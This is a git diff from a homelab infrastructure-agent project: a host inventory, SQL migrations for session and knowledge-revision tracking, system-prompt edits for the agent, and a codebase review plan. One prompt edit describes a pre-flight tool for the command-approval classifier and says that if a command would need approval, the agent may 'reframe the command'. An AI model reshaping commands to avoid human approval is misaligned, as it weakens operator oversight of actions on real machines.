self-hosted reimplementation of the Toniebox cloud backend. Debian 12 (bookworm).
|
|
||||||
- 1 core / 1 GiB RAM / 512 MiB swap / 16 GiB rootfs (local-lvm).
|
|
||||||
- Predates the client-enrollment convention — undocumented in inventory.yaml until
|
|
||||||
2026-07-06, when Oikos's drift detector (oikos/drift.py) caught pve_id 131 live on
|
|
||||||
hubris (`pct list`) with no inventory entry. Static IP assigned 2026-07-05 during the
|
|
||||||
strong migration (was picking up 192.168.8.243 via DHCP before that — see
|
|
||||||
hosts/strong.md's 2026-07-05 changelog).
|
|
||||||
- No age_pubkey / homelab-context enrollment — not a homelab CLI client, just a
|
|
||||||
docker-compose app container. Not a required follow-up unless it needs secrets.
|
|
||||||
seanime:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 133
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: anime-media-server
|
|
||||||
lan_ip: 192.168.8.248
|
|
||||||
public_host: seanime.hubris.network
|
|
||||||
mounts:
|
|
||||||
- /mnt/media_local/anime
|
|
||||||
notes:
|
|
||||||
- Seanime anime media server for online streaming + local library scanning
|
|
||||||
- Created 2026-07-05. Binary at /opt/seanime/bin/seanime, systemd service.
|
|
||||||
- Connected to qBittorrent on arriman (192.168.8.245:8080)
|
|
||||||
- 8 online streaming extensions installed (HiAnime, AniWatch, KickAssAnime, etc.)
|
|
||||||
- /anime mounted from strong ludo-lvm (/mnt/media_local/anime)
|
|
||||||
- Caddy: https://seanime.hubris.network → 192.168.8.248:43211
|
|
||||||
- qBittorrent auth subnet whitelist expanded to 192.168.8.0/24 for seanime access
|
|
||||||
romm:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 134
|
|
||||||
host: strong
|
|
||||||
os: linux
|
|
||||||
role: rom-manager
|
|
||||||
lan_ip: 192.168.8.249
|
|
||||||
public_host: roms.hubris.network
|
|
||||||
mounts:
|
|
||||||
- /mnt/media_local
|
|
||||||
notes:
|
|
||||||
- Docker host for RomM (romm.app) self-hosted ROM manager. Created 2026-07-05.
|
|
||||||
- MariaDB sidecar at /opt/romm/docker-compose.yml.
|
|
||||||
- ROMs on ludo-lvm media volume at /mnt/media_local/roms.
|
|
||||||
- 1 core / 2 GiB RAM / 16 GiB rootfs (ludo-lvm).
|
|
||||||
zimaos:
|
|
||||||
kind: vm
|
|
||||||
pve_id: 100
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: nas-frontend-eval
|
|
||||||
lan_ip: 192.168.8.195
|
|
||||||
public_host: zimaos.hubris.network
|
|
||||||
haos:
|
|
||||||
kind: vm
|
|
||||||
pve_id: 108
|
|
||||||
host: hubris
|
|
||||||
os: linux
|
|
||||||
role: home-automation
|
|
||||||
lan_ip: 192.168.8.101
|
|
||||||
mesh:
|
|
||||||
tailscale:
|
|
||||||
fqdn: homeassistant
|
|
||||||
republic-laptop:
|
|
||||||
kind: workstation
|
|
||||||
os: linux
|
|
||||||
role: primary-dev
|
|
||||||
mesh:
|
|
||||||
netbird:
|
|
||||||
fqdn: republic-laptop.netbird.selfhosted
|
|
||||||
ssh:
|
|
||||||
user: dtoro
|
|
||||||
mac-mini:
|
|
||||||
kind: workstation
|
|
||||||
os: macos
|
|
||||||
role: dev
|
|
||||||
lan_ip: 192.168.178.182
|
|
||||||
mesh:
|
|
||||||
netbird:
|
|
||||||
fqdn: mac-mini-234-17.netbird.selfhosted
|
|
||||||
ssh:
|
|
||||||
user: dtoro
|
|
||||||
notes:
|
|
||||||
- Only macOS in the fleet. Bootstrap uses launchd.
|
|
||||||
age_pubkey: age169104ee1a9e1577d493820830560197f0adf56bf8f1c369d57c152c03f9437ae
|
|
||||||
strong:
|
|
||||||
kind: proxmox-host
|
|
||||||
os: linux
|
|
||||||
role: hypervisor
|
|
||||||
lan_ip: 192.168.178.181
|
|
||||||
ssh:
|
|
||||||
user: root
|
|
||||||
notes:
|
|
||||||
- Reformatted from Linux workstation ("ludo-mini" in this wiki, still
|
|
||||||
the machine's nickname) to Proxmox VE 9.2.3 on 2026-07-01. Renamed
|
|
||||||
the inventory/wiki identity from ludo-mini to strong on the same day
|
|
||||||
so it matches the OS/cluster hostname everywhere (bootstrap looks up
|
|
||||||
hosts/$(hostname).yaml, so a mismatch would break enrollment).
|
|
||||||
- Joined hubris's "Homelab" cluster same day. 2-node, no QDevice
|
|
||||||
tiebreaker yet — see hosts/hubris.md quorum note.
|
|
||||||
- Netbird not yet installed (fresh OS wiped prior enrollment); reachable
|
|
||||||
today only via the household LAN / existing Fritz static route to
|
|
||||||
192.168.8.0/24. Re-enroll in mesh as a follow-up if off-LAN access
|
|
||||||
to this host itself (not just its future guests) is needed.
|
|
||||||
- First step of the planned library-SSD migration — see
|
|
||||||
.nomos/plans/2026-06-03_110000-library-ssd-migration-to-ludo-mini.md
|
|
||||||
(filename kept as-is, it's a historical planning doc). Only Phase 1
|
|
||||||
(Proxmox install + cluster join) is done; no physical
|
|
||||||
drive move, service migration, or GPU passthrough has happened yet.
|
|
||||||
age_pubkey: age1rtwvdct6avjkr3cyxv3vue3vqx4d524fjfr3vk7xrnvyrylnry5sm54sn4
|
|
||||||
netbird-vps:
|
|
||||||
kind: external
|
|
||||||
os: linux
|
|
||||||
role: netbird-mgmt
|
|
||||||
mesh:
|
|
||||||
netbird:
|
|
||||||
ip: 100.122.165.149
|
|
||||||
fqdn: netbird-ionos.netbird.selfhosted
|
|
||||||
ssh:
|
|
||||||
user: root
|
|
||||||
notes:
|
|
||||||
- Public IONOS VPS — hosts the vanilla netbird mgmt+signal+relay+dashboard
|
|
||||||
stack + host coturn (see infrastructure/vps-hardening.md +
|
|
||||||
infrastructure/mesh.md changelog 2026-05-21).
|
|
||||||
- NOT a homelab client. No /etc/age/key.txt, no /opt/homelab-context
|
|
||||||
clone. Managed via ssh from hubris; sshd is locked to hubris's pubkey.
|
|
||||||
- Public IPv4 82.165.190.79. Auto-patching via unattended-upgrades.
|
|
||||||
- Configs rendered by `homelab render-vps-configs` from
|
|
||||||
vps/turnserver.conf.tmpl + vps/management.json.tmpl, with secrets
|
|
||||||
decrypted from secrets/turn-shared-secret.yaml +
|
|
||||||
secrets/netbird-authentik-oidc.yaml on hubris.
|
|
||||||
rclone:
|
|
||||||
kind: lxc
|
|
||||||
os: linux
|
|
||||||
role: backup
|
|
||||||
mesh:
|
|
||||||
netbird:
|
|
||||||
fqdn: rclone.netbird.selfhosted
|
|
||||||
age_pubkey: age1pwtdws2thdh7vzp2dzttl3zxgcs2tgpcsjsqgw3q04nyml4kvuqq467u4x
|
|
||||||
|
|
||||||
# Destroyed nodes (lifecycle state: destroyed — see oikos/ontology.yaml).
|
|
||||||
# Kept so agents can answer "what happened to X?" from structured data and
|
|
||||||
# so drift detectors can flag anything still referencing them.
|
|
||||||
# Full narrative table: containers/index.md "Recently destroyed".
|
|
||||||
archaeology:
|
|
||||||
claudio-bot:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 123
|
|
||||||
destroyed: 2026-06-04
|
|
||||||
reason: replaced by Nomos Agent on mac-mini; monitoring moved to homelab-health-watchdog cron
|
|
||||||
plato:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 126
|
|
||||||
destroyed: 2026-06-28
|
|
||||||
reason: notes workspace decommissioned; data retained at /mnt/library/documents/plato
|
|
||||||
mule-photos-new:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 127
|
|
||||||
destroyed: 2026-05-22
|
|
||||||
reason: PhotoPrism test stack promoted to LXC 120 (Mulimage 2.0 merge)
|
|
||||||
heaper:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 116
|
|
||||||
destroyed: 2026-05-14
|
|
||||||
reason: decommissioned; data retained at /mnt/library/heaper
|
|
||||||
syncthing:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 109
|
|
||||||
destroyed: 2026-05-14
|
|
||||||
reason: decommissioned; library subtree was empty
|
|
||||||
seafile:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 125
|
|
||||||
destroyed: 2026-05-13
|
|
||||||
reason: Seafile Pro evaluation rejected; files.hubris.network removed from caddy + dns
|
|
||||||
arr-yunohost:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 100
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: migrated to docker stack on arriman (LXC 122)
|
|
||||||
flaresolverr:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 106
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: folded into the arriman docker compose
|
|
||||||
marimo:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 107
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: decommissioned
|
|
||||||
photoprism:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 110
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: replaced by mule-images (LXC 120)
|
|
||||||
karakeep:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 111
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: decommissioned
|
|
||||||
immich:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 112
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: replaced by mule-images (LXC 120)
|
|
||||||
reticulum:
|
|
||||||
kind: lxc
|
|
||||||
pve_id: 115
|
|
||||||
destroyed: 2026-04-28
|
|
||||||
reason: decommissioned
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
-- 020_session_reliability.up.sql
|
-- 020_session_reliability.up.sql
|
||||||
-- Plan step generation tracking + audit log session linkage.
|
-- Plan step generation tracking + audit log session linkage.
|
||||||
-- See plans/2026-07-14-session-reliability-and-ux-audit.md.
|
-- See plans/done/2026-07-14-session-reliability-and-ux-audit.md.
|
||||||
|
|
||||||
-- Plan step generation: when the agent revises a plan mid-flight, new steps
|
-- Plan step generation: when the agent revises a plan mid-flight, new steps
|
||||||
-- get a higher generation number so the frontend can group/collapse old ones.
|
-- get a higher generation number so the frontend can group/collapse old ones.
|
||||||
|
|||||||
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
-- 021_session_blocker_and_closed_at.up.sql
|
||||||
|
-- Track why a session ended partial/failed and when it actually closed.
|
||||||
|
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||||
|
--
|
||||||
|
-- `blocker` is a short structured reason: "approval_timeout",
|
||||||
|
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
|
||||||
|
-- etc. Set by complete_task when outcome is partial/failed, derived from the
|
||||||
|
-- last assistant message's text. Empty for success outcomes.
|
||||||
|
--
|
||||||
|
-- `closed_at` is when the session reached its terminal state. Distinct from
|
||||||
|
-- `last_active_at`, which is touched on any access (including the operator
|
||||||
|
-- just opening the transcript) — `closed_at` is set ONCE at completion.
|
||||||
|
-- Without it, "session duration" can only be computed as
|
||||||
|
-- `last_active - created`, which lies for reopened sessions (a51e2086
|
||||||
|
-- reported 4-day duration because the operator reopened it to close it).
|
||||||
|
|
||||||
|
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
|
||||||
|
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
|
||||||
|
|
||||||
|
-- Backfill closed_at for already-terminal sessions so the new column isn't
|
||||||
|
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
|
||||||
|
-- the most recent touch, which is the closest we have to "when it ended"
|
||||||
|
-- for historical sessions. New sessions set closed_at explicitly on
|
||||||
|
-- complete_task.
|
||||||
|
UPDATE agent_sessions
|
||||||
|
SET closed_at = last_active_at
|
||||||
|
WHERE closed_at IS NULL
|
||||||
|
AND status IN ('done', 'failed');
|
||||||
|
|
||||||
|
-- Index for "show me partial sessions in the last N days" — the common
|
||||||
|
-- audit query. Covers the blocker column too so the planner can answer
|
||||||
|
-- "blocker breakdown over the last week" with an index-only scan.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
|
||||||
|
ON agent_sessions (closed_at DESC)
|
||||||
|
WHERE status IN ('done', 'failed');
|
||||||
119
migrations/022_knowledge_revisions.up.sql
Normal file
119
migrations/022_knowledge_revisions.up.sql
Normal file
@@ -0,0 +1,119 @@
|
|||||||
|
-- 022_knowledge_revisions.up.sql
|
||||||
|
-- Version history for knowledge_entities, so an edit can never be silently lost.
|
||||||
|
--
|
||||||
|
-- The concrete hazard this closes: the MCP tool `upsert_knowledge`
|
||||||
|
-- (internal/mcp/server.go) keys on title and does
|
||||||
|
-- `ON CONFLICT (entity_id) DO UPDATE SET content = EXCLUDED.content` —
|
||||||
|
-- unconditionally. Before this migration, an operator hand-editing a note in
|
||||||
|
-- the web UI would have that edit overwritten with no trace the next time
|
||||||
|
-- Nomos re-upserted a note with the same title. There was no history table
|
||||||
|
-- and no way to recover the prior body.
|
||||||
|
--
|
||||||
|
-- The snapshot is a BEFORE UPDATE **trigger** rather than application-level
|
||||||
|
-- code in the HTTP handler, specifically because there are two independent
|
||||||
|
-- writers: the web API (new in this change) and the MCP tool the agent uses.
|
||||||
|
-- App-level snapshotting would only cover whichever path remembered to call
|
||||||
|
-- it. A trigger covers both, plus any future writer and any manual psql fix.
|
||||||
|
--
|
||||||
|
-- Each row in knowledge_revisions is a *superseded* version: the state of the
|
||||||
|
-- note before the update that displaced it. The current version always lives
|
||||||
|
-- in knowledge_entities, never here, so "history" is
|
||||||
|
-- knowledge_entities + knowledge_revisions ordered by version_at DESC.
|
||||||
|
|
||||||
|
-- Who authored the version currently in knowledge_entities. Distinct from
|
||||||
|
-- `source`, which is overloaded: it holds either 'nomos-agent' (written via
|
||||||
|
-- MCP) or a seed file path ('containers/101-jellyfin') and is NOT updated on
|
||||||
|
-- conflict, so a seeded doc later rewritten by the agent still reports its
|
||||||
|
-- original file path. edited_by answers the question the UI actually asks —
|
||||||
|
-- "did a human or the agent last touch this?" — without disturbing source,
|
||||||
|
-- which the seeding logic still relies on.
|
||||||
|
ALTER TABLE knowledge_entities
|
||||||
|
ADD COLUMN IF NOT EXISTS edited_by TEXT NOT NULL DEFAULT '';
|
||||||
|
|
||||||
|
-- Backfill: every existing row's last writer is whatever source says. For
|
||||||
|
-- agent-written notes that's exactly right; for seeded notes it records the
|
||||||
|
-- seed path, which is the honest answer (no human has edited them yet).
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET edited_by = COALESCE(source, '')
|
||||||
|
WHERE edited_by = '';
|
||||||
|
|
||||||
|
-- Soft delete. A hard DELETE would cascade knowledge_revisions away with the
|
||||||
|
-- entity, which contradicts the point of this migration — removing a note is
|
||||||
|
-- exactly the moment its history matters most. Deleting sets deleted_at; all
|
||||||
|
-- read paths filter it out, the revision trail survives, and an accidental
|
||||||
|
-- delete is recoverable by clearing the column.
|
||||||
|
ALTER TABLE knowledge_entities
|
||||||
|
ADD COLUMN IF NOT EXISTS deleted_at TIMESTAMPTZ;
|
||||||
|
|
||||||
|
-- Partial index: every list/search/read query carries `deleted_at IS NULL`,
|
||||||
|
-- and deleted notes are expected to stay a small minority.
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_live
|
||||||
|
ON knowledge_entities (updated_at DESC)
|
||||||
|
WHERE deleted_at IS NULL;
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS knowledge_revisions (
|
||||||
|
id BIGSERIAL PRIMARY KEY,
|
||||||
|
entity_id UUID NOT NULL REFERENCES entities(id) ON DELETE CASCADE,
|
||||||
|
title TEXT NOT NULL,
|
||||||
|
content TEXT NOT NULL,
|
||||||
|
source TEXT,
|
||||||
|
tags TEXT[],
|
||||||
|
edited_by TEXT NOT NULL DEFAULT '',
|
||||||
|
-- When this version was written (the superseded row's updated_at).
|
||||||
|
version_at TIMESTAMPTZ NOT NULL,
|
||||||
|
-- When it was replaced. version_at of revision N and revised_at of
|
||||||
|
-- revision N-1 bracket how long that version was the live one.
|
||||||
|
revised_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||||
|
);
|
||||||
|
|
||||||
|
-- The only access pattern: "show me the history of this note, newest first."
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_revisions_entity
|
||||||
|
ON knowledge_revisions (entity_id, version_at DESC);
|
||||||
|
|
||||||
|
-- Snapshot the outgoing row whenever the substance changes. Deliberately
|
||||||
|
-- ignores updated_at-only touches: upsert_knowledge sets `updated_at = now()`
|
||||||
|
-- on every call even when re-writing byte-identical content (it has no
|
||||||
|
-- change detection), and without this guard a re-run of the same agent task
|
||||||
|
-- would pile up identical revisions and bury the real edits.
|
||||||
|
--
|
||||||
|
-- `search` is a GENERATED column and is intentionally not carried into
|
||||||
|
-- revisions — it is derived from title+content and would be dead weight.
|
||||||
|
CREATE OR REPLACE FUNCTION snapshot_knowledge_revision() RETURNS TRIGGER AS $$
|
||||||
|
BEGIN
|
||||||
|
IF OLD.title IS DISTINCT FROM NEW.title
|
||||||
|
OR OLD.content IS DISTINCT FROM NEW.content
|
||||||
|
OR OLD.tags IS DISTINCT FROM NEW.tags THEN
|
||||||
|
INSERT INTO knowledge_revisions
|
||||||
|
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||||
|
VALUES
|
||||||
|
(OLD.entity_id, OLD.title, OLD.content, OLD.source, OLD.tags,
|
||||||
|
OLD.edited_by, OLD.updated_at);
|
||||||
|
END IF;
|
||||||
|
RETURN NEW;
|
||||||
|
END;
|
||||||
|
$$ LANGUAGE plpgsql;
|
||||||
|
|
||||||
|
-- DROP + CREATE rather than CREATE OR REPLACE: Postgres 16 has no
|
||||||
|
-- CREATE OR REPLACE TRIGGER for this form, and the migration must stay
|
||||||
|
-- re-runnable.
|
||||||
|
DROP TRIGGER IF EXISTS trg_knowledge_revision ON knowledge_entities;
|
||||||
|
|
||||||
|
CREATE TRIGGER trg_knowledge_revision
|
||||||
|
BEFORE UPDATE ON knowledge_entities
|
||||||
|
FOR EACH ROW EXECUTE FUNCTION snapshot_knowledge_revision();
|
||||||
|
|
||||||
|
-- Trigram similarity, for the duplicate-detection view. The knowledge base
|
||||||
|
-- has already accumulated near-duplicates that exact matching cannot catch —
|
||||||
|
-- four separate "rclone backup live inspection — <date>" investigations, each
|
||||||
|
-- a fresh note where an update to the existing one was meant. upsert_knowledge
|
||||||
|
-- keys on exact title, so a date suffix is enough to fork a new note.
|
||||||
|
--
|
||||||
|
-- similarity() over titles is what lets the UI cluster those and offer a
|
||||||
|
-- merge. fuzzystrmatch (levenshtein) was the alternative; trigram wins here
|
||||||
|
-- because these titles differ by whole appended words rather than typos, and
|
||||||
|
-- because it comes with a GIN index while levenshtein cannot be indexed.
|
||||||
|
CREATE EXTENSION IF NOT EXISTS pg_trgm;
|
||||||
|
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_knowledge_title_trgm
|
||||||
|
ON knowledge_entities USING gin (title gin_trgm_ops)
|
||||||
|
WHERE deleted_at IS NULL;
|
||||||
@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
|
|||||||
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
||||||
no writeback needed.
|
no writeback needed.
|
||||||
|
|
||||||
|
`complete_task` auto-closes any in-flight plan steps (pending/running → done
|
||||||
|
on success, → skipped on partial/failure). You do NOT need to call
|
||||||
|
`update_plan_step` for every step right before completing — once your work
|
||||||
|
is done and writeback is recorded, just call `complete_task`. This is the
|
||||||
|
right pattern for one-step plans (greetings, single health checks, title
|
||||||
|
tests): propose_plan → answer → complete_task, skipping the per-step
|
||||||
|
running→done dance entirely.
|
||||||
|
|
||||||
### 7. ITERATE — follow-ups reopen the task
|
### 7. ITERATE — follow-ups reopen the task
|
||||||
A `complete_task` is not the end of the conversation. If the operator sends
|
A `complete_task` is not the end of the conversation. If the operator sends
|
||||||
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
||||||
@@ -160,6 +168,17 @@ disappear.
|
|||||||
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
||||||
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
||||||
pct create, any shell command. There is no named-action tool anymore.
|
pct create, any shell command. There is no named-action tool anymore.
|
||||||
|
- `classify_command` — **pre-flight check before `run` when you're unsure
|
||||||
|
whether a command will auto-execute or need approval.** Pass the exact
|
||||||
|
command (and optional `declared_risk`); get back the risk class that `run`
|
||||||
|
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
|
||||||
|
compound command — these are the cases where the classifier's verdict
|
||||||
|
isn't obvious from the verb alone. If `classify_command` says `read_only`,
|
||||||
|
`run` will auto-execute; if it says `config_mutation`, reframe the command
|
||||||
|
or expect to need approval. **Do NOT submit a `run`, get it queued for
|
||||||
|
approval, and then retry with cosmetic variations** — that produces
|
||||||
|
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
|
||||||
|
submit once.
|
||||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||||
@@ -336,6 +355,51 @@ port is busy, find a free one. Only surface to the operator if you've tried
|
|||||||
reasonable alternatives and none worked. An error in one step is not a reason
|
reasonable alternatives and none worked. An error in one step is not a reason
|
||||||
to stop the entire turn — it's a reason to try a different approach.
|
to stop the entire turn — it's a reason to try a different approach.
|
||||||
|
|
||||||
|
**A hung command is not a failed command — investigate before retrying.**
|
||||||
|
If a `run` call times out or returns "ERROR" (e.g. SSH killed, signal,
|
||||||
|
gateway timeout), DO NOT immediately retry the same command with different
|
||||||
|
routing/wrapping (direct vs SSH-hop vs split, single quotes vs double,
|
||||||
|
bare `echo test` sanity check, …). That piles up zombie processes on the
|
||||||
|
target and burns tool calls. Instead, BEFORE retrying the original
|
||||||
|
command, run read-only diagnostics against the same target to understand
|
||||||
|
*why* it hung:
|
||||||
|
|
||||||
|
- `ps aux | grep <cmd>` — are there already-zombie copies piling up?
|
||||||
|
- `lsof <path>` — is something holding the file/dir open?
|
||||||
|
- `strace -f -p <pid>` or `timeout 5 strace -f <cmd>` — what syscall is
|
||||||
|
it stuck on? (e.g. `fchownat` blocking = kernel-level lock)
|
||||||
|
- `mount | grep <path>`, `dmesg | tail` — is a filesystem / kernel
|
||||||
|
subsystem involved?
|
||||||
|
- `exportfs -v`, `ss -tn`, `systemctl status <svc>` — service-level
|
||||||
|
state that could block.
|
||||||
|
|
||||||
|
Once you understand the blocker, fix it with a different command (e.g.
|
||||||
|
the knfsd lock on an actively-exported NFS directory → unexport →
|
||||||
|
mutate → re-export) OR surface the structural blocker to the operator
|
||||||
|
with what you've tried. The retry cap (max 3 identical failing `run`
|
||||||
|
calls per turn) enforces this — after 3 identical failures the system
|
||||||
|
refuses the dispatch and returns a directive to investigate. The cap
|
||||||
|
is per-turn, so a fresh turn after the operator responds can retry once
|
||||||
|
more; it exists to break a tight retry loop within a single turn, not
|
||||||
|
to permanently block recovery.
|
||||||
|
|
||||||
|
**Ask before proposing a multi-step migration.** When a user request is
|
||||||
|
ambiguous between "fix in place" and "migrate to a new target/volume/
|
||||||
|
host," do NOT jump straight to a multi-step migration plan. Use
|
||||||
|
`ask_operator` with one clarifying question ("fix in place, or migrate?")
|
||||||
|
before producing the plan. A multi-step migration proposed when the
|
||||||
|
user actually wanted a one-line cleanup wastes turns and forces the
|
||||||
|
user to redirect.
|
||||||
|
|
||||||
|
**Multi-goal sessions: summarize the arc, not just the last goal.**
|
||||||
|
When a session has more than one `set_goal` (the operator pivoted mid-
|
||||||
|
session — e.g. "actually, just keep ludo-library"), the final
|
||||||
|
`complete_task` summary should reference the arc of the whole session
|
||||||
|
(starting goal → pivot → final outcome), not just the last goal. The
|
||||||
|
board shows one line; the operator should see what the session actually
|
||||||
|
accomplished end-to-end, not a misleading "done" on a goal they
|
||||||
|
abandoned.
|
||||||
|
|
||||||
**Always end a turn with a clear outcome — never make the operator ask
|
**Always end a turn with a clear outcome — never make the operator ask
|
||||||
"status?".** When you finish (or pause) a piece of work, your final message
|
"status?".** When you finish (or pause) a piece of work, your final message
|
||||||
must state the result plainly: what's now true, what you verified, what (if
|
must state the result plainly: what's now true, what you verified, what (if
|
||||||
|
|||||||
463
plans/2026-07-17-codebase-review-and-cleanup.md
Normal file
463
plans/2026-07-17-codebase-review-and-cleanup.md
Normal file
@@ -0,0 +1,463 @@
|
|||||||
|
# 2026-07-17 — Codebase review, lint audit, and documentation maintenance
|
||||||
|
|
||||||
|
Status: **Report delivered** — doc/tooling fixes applied in this commit; code
|
||||||
|
refactors listed below are actionable recommendations pending approval.
|
||||||
|
|
||||||
|
Scope: full review of Go (`internal/`, `cmd/`), Svelte SPA (`web/`), and all
|
||||||
|
documentation (`README`, `AGENTS.md`, `.agents/**`, `docs/**`, `plans/**`,
|
||||||
|
`seeds/**`). Research-only review followed by targeted doc-maintainability
|
||||||
|
fixes. No production code was refactored in this pass.
|
||||||
|
|
||||||
|
Method: three parallel research passes (Go, web, docs) plus `go vet`, `go
|
||||||
|
build`, `go test -race`, and `npm run build`. `go vet` is clean; all tests
|
||||||
|
pass; the SPA builds with Svelte 5 warnings (listed in §B.4).
|
||||||
|
|
||||||
|
## A. Headline findings
|
||||||
|
|
||||||
|
| # | Area | Finding | Severity |
|
||||||
|
| - | ---- | ------- | -------- |
|
||||||
|
| A1 | Go | `internal/httpapi/phase3.go` is a 2627-line god file holding 12+ unrelated resource domains, misnamed after a project phase | High |
|
||||||
|
| A2 | Go | `internal/mcp/server.go:67` `newServer` is a 708-line function registering 33 tools inline; no registry pattern | High |
|
||||||
|
| A3 | Go | 17 sqlc queries are defined but never called; ~50% of DB access bypasses sqlc with raw inline SQL in `httpapi/` | High |
|
||||||
|
| A4 | Go | Test coverage violates the documented gates: `learning` (0%, gate 80%), `actuator`, `scheduler`, `domain`, `notifier`, `knowledge` all 0% | High |
|
||||||
|
| A5 | Web | Entire tool-renderer registry is dead — 21 files (~1.5k lines): `tool-renderers.ts`, `renderers/index.ts`, 10 `.ts` + 10 `.svelte` registrars; `getToolRenderer` is never called | High |
|
||||||
|
| A6 | Web | No `lint`/`check`/`test` scripts in `package.json`; zero test files; `any` is pervasive in the SSE/event payload plumbing | High |
|
||||||
|
| A7 | Docs | `.agents/domains/knowledge/schema.md` and `.agents/shared/llm-wiki.md` describe the deleted Python substrate (`bin/homelab`, `oikos/cards/`, `oikos/ledger.py`, root `inventory.yaml`) — they contradict the DB-native model in AGENTS.md / ADR 0003 | High |
|
||||||
|
| A8 | Docs | Brittle hardcoded counts in 5 docs: "33 tools", "15 tools", "36 documents", "20 migrations", "001–011" — rot on every seed regen | Medium |
|
||||||
|
| A9 | Build | Desktop version hardcoded `0.1.0` in `cmd/desktop/main.go:39` and `Makefile:70` while repo is at `0.7.6` — breaks the auto-update comparison | Medium |
|
||||||
|
| A10 | Docs | 4 broken markdown links + `plans/index.md` out of sync with filesystem (4 done plans not moved, 4 entries missing) | Low |
|
||||||
|
|
||||||
|
## B. Go codebase
|
||||||
|
|
||||||
|
`go vet ./...` clean. `go build` clean. `go test -race` passes for all packages
|
||||||
|
that have tests. 387 `.go` files, ~33k LOC.
|
||||||
|
|
||||||
|
### B.1 Naming & conventions — mostly idiomatic
|
||||||
|
|
||||||
|
- All packages lowercase single words; no casing/abbreviation inconsistency.
|
||||||
|
- `internal/httpapi/phase3.go` — **temporal naming** (named after a project
|
||||||
|
phase, not a domain). Contents span checks, executions, approvals, patterns,
|
||||||
|
skills, policy, metrics, trends, agent-activity, relationships, entity-types,
|
||||||
|
autonomy, risk-classes. Should be split into ~12 resource files.
|
||||||
|
- `internal/httpapi/stubs.go` — 5-line file, comment-only, no declarations.
|
||||||
|
Orphan. **Delete.**
|
||||||
|
- `cmd/desktop/main.go` uses stdlib `log` while the rest of the codebase
|
||||||
|
standardizes on `slog` via `internal/observability/logging.go:11`.
|
||||||
|
|
||||||
|
### B.2 Dead code
|
||||||
|
|
||||||
|
No TODO/FIXME/XXX/HACK/DEPRECATED comments anywhere. No commented-out blocks.
|
||||||
|
No panics in non-test code. No global mutable state.
|
||||||
|
|
||||||
|
Dead exported symbols:
|
||||||
|
- `internal/notifier/notifier.go:286` — `VerifyApprovalToken` has **zero call
|
||||||
|
sites**. Truly dead. **Delete.**
|
||||||
|
- `internal/checkdefaults/defaults.go:22,60,125,133` — `ResolveHost`,
|
||||||
|
`ForEntityType`, `ShortSlug`, `DefaultInterval` are exported but only called
|
||||||
|
within their own package. **Unexport.**
|
||||||
|
|
||||||
|
Dead file:
|
||||||
|
- `internal/httpapi/stubs.go` — comment-only orphan. **Delete.**
|
||||||
|
|
||||||
|
### B.3 Dead sqlc queries (17)
|
||||||
|
|
||||||
|
Defined in `internal/db/queries/*.sql`, generated into `internal/db/sqlcgen/`,
|
||||||
|
never called anywhere in the codebase:
|
||||||
|
|
||||||
|
| Query | File:line |
|
||||||
|
| ----- | --------- |
|
||||||
|
| `ListEntityRelations` | `internal/db/queries/relationships.sql:1` |
|
||||||
|
| `ListGraphEdges` | `internal/db/queries/relationships.sql:13` |
|
||||||
